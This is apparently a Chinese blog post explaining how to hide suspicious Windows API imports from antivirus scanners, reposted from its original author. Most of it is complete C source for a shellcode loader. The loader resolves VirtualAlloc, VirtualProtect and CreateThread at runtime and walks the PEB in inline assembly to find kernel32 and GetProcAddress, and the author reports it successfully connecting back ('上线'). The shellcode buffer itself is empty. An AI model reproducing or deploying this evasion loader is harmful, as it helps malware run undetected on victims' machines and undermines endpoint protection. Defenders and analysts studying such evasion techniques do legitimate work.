前言
在PE文件中,存在iat导入表,记录了PE文件使用的API以及相关的dll模块。
编译一个MessageBox文件,查看其导入表:
#include<stdio.h>
#include<Windows.h>
int main()
{
printf("hello world\n");
MessageBox(0, TEXT("hello world"), 0, 0);
return 0;
}
可以看到使用了MessageBox这个API
杀软会对导入表进行查杀,如果发现存在恶意的API,比如VirtualAlloc,CreateThread等,就会认为文件是一个恶意文件。我们可以通过自定义API的方式隐藏导入表中的恶意API。
自定义API函数
FARPROC GetProcAddress(
[in] HMODULE hModule, 包含函数或变量的 DLL 模块的句柄
[in] LPCSTR lpProcName 函数或变量名称
);
定义:
typedef int (FAR WINAPI *FARPROC)();
HMODULE GetModuleHandleA(
LPCSTR lpModuleName // 模块名称
); // 成功返回句柄 失败返回NULL
HMODULE LoadLibraryA(
LPCSTR lpLibFileName // 一个dll文件
); // 成功返回句柄 失败返回NULL
这里GetModuleHandle和LoadLibrary作用是一样的,获取dll文件。
通过以上函数自定义API。
#include<stdio.h>
#include<Windows.h>
typedef int(WINAPI * pMessageBox) (
HWND hWnd,
LPCTSTR lpText,
LPCTSTR lpCaption,
UINT uType
);
int main()
{
printf("hello world\n");
pMessageBox MyMessageBox = (pMessageBox)GetProcAddress(LoadLibrary("User32.dll"), "MessageBoxA");
MyMessageBox(0, TEXT("hello world"), 0, 0);
return 0;
}
程序可以正常运行:
查看其导入表:
User32.dll和MessageBox都不存在。
实战测试
用创建进程的方式加载shellcode。
#include <Windows.h>
#include <intrin.h>
#include <WinBase.h>
#include <stdio.h>
// 入口函数
int wmain(int argc, TCHAR * argv[]) {
int shellcode_size = 0; // shellcode长度
DWORD dwThreadId; // 线程ID
HANDLE hThread; // 线程句柄
DWORD dwOldProtect; // 内存页属性
char buf[] = "";
// 获取shellcode大小
shellcode_size = sizeof(buf);
char * shellcode = (char *)VirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_READWRITE // 只申请可读可写
);
// 将shellcode复制到可读可写的内存页中
CopyMemory(shellcode, buf, shellcode_size);
// 这里开始更改它的属性为可执行
VirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);
hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);
WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束
return 0;
}
我们将这里敏感的API进行自定义:
//VirtualProtect
typedef BOOL(WINAPI * pVirtualProtect) (
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);
pVirtualProtect MyVirtualProtect = (pVirtualProtect)GetProcAddress(LoadLibrary("kernel32.dll"), "VirtualProtect");
//CreateThread
typedef HANDLE(WINAPI * pCreateThread)(
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
__drv_aliasesMem LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
pCreateThread MyCreateThread = (pCreateThread)GetProcAddress(GetModuleHandle("kernel32.dll"),"CreateThread");
//VirtualAlloc
typedef LPVOID (WINAPI *pVirtualAlloc)(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
pVirtualAlloc MyVirtualAlloc = (pVirtualAlloc)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAlloc");
最终代码:
#include <Windows.h>
#include <intrin.h>
#include <WinBase.h>
#include <stdio.h>
//自定义API
typedef BOOL(WINAPI * pVirtualProtect) (
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);
pVirtualProtect MyVirtualProtect = (pVirtualProtect)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualProtect");
typedef HANDLE(WINAPI * pCreateThread)(
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
__drv_aliasesMem LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
pCreateThread MyCreateThread = (pCreateThread)GetProcAddress(GetModuleHandle("kernel32.dll"),"CreateThread");
typedef LPVOID (WINAPI *pVirtualAlloc)(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
pVirtualAlloc MyVirtualAlloc = (pVirtualAlloc)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAlloc");
// 入口函数
int wmain(int argc, TCHAR * argv[]) {
int shellcode_size = 0; // shellcode长度
DWORD dwThreadId; // 线程ID
HANDLE hThread; // 线程句柄
DWORD dwOldProtect; // 内存页属性
/* length: 800 bytes */
char buf[] = "";
// 获取shellcode大小
shellcode_size = sizeof(buf);
char * shellcode = (char *)MyVirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_READWRITE // 只申请可读可写
);
// 将shellcode复制到可读可写的内存页中
CopyMemory(shellcode, buf, shellcode_size);
// 这里开始更改它的属性为可执行
MyVirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);
hThread = MyCreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);
WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束
return 0;
}
可以成功上线:
可以看到,自定义的三个API已经看不到了,但是GetProcAddress和GetModuleHandle也可能会作为杀软识别的对象。
深入隐藏
通过手动获取dll文件的方式,获取这两个函数的地址。
大致流程:
- 找到kernel32.dll的地址
- 遍历啊kernel32.dll的导入表,找到GetProcAddress的地址
- 使用GetProcAddress获取LoadLibrary函数的地址
- 然后使用 LoadLibrary加载DLL文件
- 使用 GetProcAddress查找某个函数的地址
### 获取kernel32.dll的地址
这里使用汇编获取,先贴代码。DWORD GetKernel32Address() { DWORD dwKernel32Addr = 0; _asm { mov eax, fs: [0x30] mov eax, [eax + 0x0c] mov eax, [eax + 0x14] mov eax, [eax] mov eax, [eax] mov eax, [eax + 0x10] mov dwKernel32Addr, eax } return dwKernel32Addr; }
这里有两个关键的结构,TEB(线程环境块)和PEB(进程环境块)。PEB结构存储着整个进程的信息。而PEB结构又存放在TEB中。
这两个结构指针都存放在fs寄存器中,fs:[0x30]是PEB fs:[0x18]是TEB。
接下来再分析上面代码的具体过程:mov eax, fs: [0x30] 指向PEB结构
mov eax, [eax + 0xc] 0xc处存放者LDR指针它指向一个_PEB_LDR_DATA结构
mov eax, [eax + 0x14] 指向LDR指针中的InMemoryOrderModuleList链表
这里面有三个链表,这三个列表中的模块是一样的,只是顺序不同。
mov eax, [eax] mov eax, [eax]
因为kernel32的位置是第三个,第一个是InMemoryOrderModuleList本身,向下两次,就找到了kernel32(这块还不是很理解)。
最后就是获取kernel32的基址:mov eax, [eax + 0x10] InMemoryOrderModuleList 再偏移0x10,指向dllbase
### 获取GetProcAddress
不做叙述,有兴趣的可以自行学习,代码如下:DWORD RGetProcAddress() { //获取kernel32的地址 DWORD dwAddrBase = GetKernel32Address(); //获取Dos头 PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)dwAddrBase; //获取Nt头 Nt头=dll基址+Dos头 PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pDos->e_lfanew + dwAddrBase); //数据目录表 扩展头 数据目录表 + 导出表 定位导出表 PIMAGE_DATA_DIRECTORY pDataDir = pNt->OptionalHeader.DataDirectory +IMAGE_DIRECTORY_ENTRY_EXPORT; //导出表 //导出表地址 PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)(dwAddrBase + pDataDir->VirtualAddress); //函数总数 DWORD dwFunCount = pExport->NumberOfFunctions; //函数名称数量 DWORD dwFunNameCount = pExport->NumberOfNames; //函数地址 PDWORD pAddrOfFun = (PDWORD)(pExport->AddressOfFunctions + dwAddrBase); //函数名称地址 PDWORD pAddrOfNames = (PDWORD)(pExport->AddressOfNames + dwAddrBase); //序号表 PWORD pAddrOfOrdinals = (PWORD)(pExport->AddressOfNameOrdinals+ dwAddrBase); //遍历函数总数 for (size_t i = 0; i < dwFunCount; i++) { //判断函数地址是否存在 if (!pAddrOfFun[i]) { continue; } //通过函数地址遍历函数名称地址,获取想要的函数 DWORD dwFunAddrOffset = pAddrOfFun[i]; for (size_t j = 0; j < dwFunNameCount; j++) { if (pAddrOfOrdinals[j] == i) { DWORD dwNameOffset = pAddrOfNames[j]; char * pFunName = (char *)(dwAddrBase + dwNameOffset); if (strcmp(pFunName,"GetProcAddress")==0) { return dwFunAddrOffset + dwAddrBase; } } } } }
## 完整代码
#include <Windows.h> #include <intrin.h> #include <WinBase.h> #include <stdio.h> DWORD GetKernel32Address() { DWORD dwKernel32Addr = 0; _asm { mov eax, fs: [0x30] mov eax, [eax + 0x0c] mov eax, [eax + 0x14] mov eax, [eax] mov eax, [eax] mov eax, [eax + 0x10] mov dwKernel32Addr, eax } return dwKernel32Addr; } DWORD RGetProcAddress() { //获取kernel32的地址 DWORD dwAddrBase = GetKernel32Address(); //获取Dos头 PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)dwAddrBase; //获取Nt头 PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pDos->e_lfanew + dwAddrBase); //数据目录表 扩展头 数据目录表 + 导出表 定位导出表 PIMAGE_DATA_DIRECTORY pDataDir = pNt->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT; //导出表 //导出表地址 PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)(dwAddrBase + pDataDir->VirtualAddress); //函数总数 DWORD dwFunCount = pExport->NumberOfFunctions; //函数名称数量 DWORD dwFunNameCount = pExport->NumberOfNames; //函数地址 PDWORD pAddrOfFun = (PDWORD)(pExport->AddressOfFunctions + dwAddrBase); //函数名称地址 PDWORD pAddrOfNames = (PDWORD)(pExport->AddressOfNames + dwAddrBase); //序号表 PWORD pAddrOfOrdinals = (PWORD)(pExport->AddressOfNameOrdinals + dwAddrBase); for (size_t i = 0; i < dwFunCount; i++) { if (!pAddrOfFun[i]) { continue; } DWORD dwFunAddrOffset = pAddrOfFun[i]; for (size_t j = 0; j < dwFunNameCount; j++) { if (pAddrOfOrdinals[j] == i) { DWORD dwNameOffset = pAddrOfNames[j]; char * pFunName = (char *)(dwAddrBase + dwNameOffset); if (strcmp(pFunName, "GetProcAddress") == 0) { return dwFunAddrOffset + dwAddrBase; } } } } } //自定义API //获取kernel32.dll地址 HMODULE hKernel32 = (HMODULE)GetKernel32Address(); //自定义GetProcAddress typedef FARPROC(WINAPI *pGetProcAddress)( _In_ HMODULE hModule, _In_ LPCSTR lpProcName ); //动态获取GetProcAddress pGetProcAddress MyGetProcAddress = (pGetProcAddress)RGetProcAddress(); //自定义GetModuleHandle typedef HMODULE(WINAPI* pGetModuleHandle)( _In_ LPCSTR lpLibFileName ); pGetModuleHandle MyGetModuleHandle = (pGetModuleHandle)MyGetProcAddress(hKernel32, "GetModuleHandle"); //自定义VirtualProtect typedef BOOL(WINAPI * pVirtualProtect) ( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect ); pVirtualProtect MyVirtualProtect = (pVirtualProtect)MyGetProcAddress(hKernel32, "VirtualProtect"); //自定义CreateThread typedef HANDLE(WINAPI * pCreateThread)( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, __drv_aliasesMem LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId ); pCreateThread MyCreateThread = (pCreateThread)MyGetProcAddress(hKernel32,"CreateThread"); //自定义VirtualAlloc typedef LPVOID (WINAPI *pVirtualAlloc)( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect ); pVirtualAlloc MyVirtualAlloc = (pVirtualAlloc)MyGetProcAddress(hKernel32, "VirtualAlloc"); // 入口函数 int wmain(int argc, TCHAR * argv[]) { int shellcode_size = 0; // shellcode长度 DWORD dwThreadId; // 线程ID HANDLE hThread; // 线程句柄 DWORD dwOldProtect; // 内存页属性 char buf[] = ""; // 获取shellcode大小 shellcode_size = sizeof(buf); char * shellcode = (char *)MyVirtualAlloc( NULL, shellcode_size, MEM_COMMIT, PAGE_READWRITE // 只申请可读可写 ); // 将shellcode复制到可读可写的内存页中 CopyMemory(shellcode, buf, shellcode_size); // 这里开始更改它的属性为可执行 MyVirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect); hThread = MyCreateThread( NULL, // 安全描述符 NULL, // 栈的大小 (LPTHREAD_START_ROUTINE)shellcode, // 函数 NULL, // 参数 NULL, // 线程标志 &dwThreadId // 线程ID ); WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束 return 0; }
成功上线:
查看导入表,敏感API都已隐藏:
## 参考链接
https://xz.aliyun.com/t/10478
https://bbs.kanxue.com/thread-266678.htm
https://www.bilibili.com/video/BV1re4y1j7ih/
原文始发于刘*x:通过隐藏导入表的方式规避杀软